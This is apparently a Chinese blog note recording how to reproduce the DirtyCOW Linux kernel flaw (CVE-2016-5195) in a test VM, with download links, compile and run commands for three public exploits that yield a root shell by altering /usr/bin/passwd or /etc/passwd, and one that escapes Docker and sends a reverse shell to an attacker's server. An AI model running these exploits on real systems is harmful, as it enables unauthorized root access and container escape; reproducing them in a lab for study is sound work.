0x01简介

脏牛漏洞DirtyCOW(CVE-2016-5195)是16年10月份披露的一个Linux Kernel中的漏洞,漏洞可以达到的效果是可以修改一个只读的文件,常用于提权。尝试分析了很久的原理,仍然觉得比较复杂,以后有需要再继续分析。因此本文仅记录一下几个经典POC的使用过程,方便日后查阅。

0x02 环境准备

docker会复用宿主机的kernel,因此如果是在linux上安装的docker,会发现kernel版本和宿主机一致。本文使用虚拟机复现,下载地址:

ubuntu-14.04.5-desktop-amd64.iso	2016-08-03 17:49	1.0G	 

0x03 POC测试

1. POC之cowroot

该POC会修改一个具备具备setuid权限的二进制文件(如/usr/bin/passwd),备份到/tmp/bak下,之后弹出一个root shell。注意这个POC用到的shellcode需要注意是32位还是64位的,修改之后重新编译即可。

下载地址:https://www.exploit-db.com/exploits/40616

# kernel 版本 (ubuntu 14.04.5 默认kernel版本)
Linux 2a93f03af879 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
# 编译方式
gcc cowroot.c -o cowroot -pthread --static
# 拿到root之后,恢复
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
# 用完之后恢复
mv /tmp/bak /usr/bin/passwd 

验证结果:
image-20190520162746852

2. POC之dirty

该POC会修改/etc/passwd文件中的root项的username和password,备份到/tmp下,使用完后恢复文件即可。

下载地址:https://github.com/FireFart/dirtycow/blob/master/dirty.c

# 编译方式
gcc -pthread dirty.c -o dirty -lcrypt
# 使用方式
"./dirty" or "./dirty my-new-password"
su firefart
# 用完之后恢复,也可以防止别人误用
cp /tmp/passwd.bak /etc/passwd

image-20190521104517886

3. POC之dirtycow-vdso

该POC主要用于docker逃逸,原理是基于PTRACE修改VDSO(Kernel映射给userland的地址空间)中的clock_gettime函数,之后反弹shell到攻击者的服务器。

POC下载地址:

POC原理分析:

使用方法:

# 下载
git clone https://github.com/scumjr/dirtycow-vdso.git
# 编译 需要有nasm xxd gcc
cd dirtycow-vdso && make
# 运行 
./0xdeadbeaf VPS-IP:PORT

image-20190521150923731

image-20190521150828760

0x04 参考

  1. 更多POC:https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs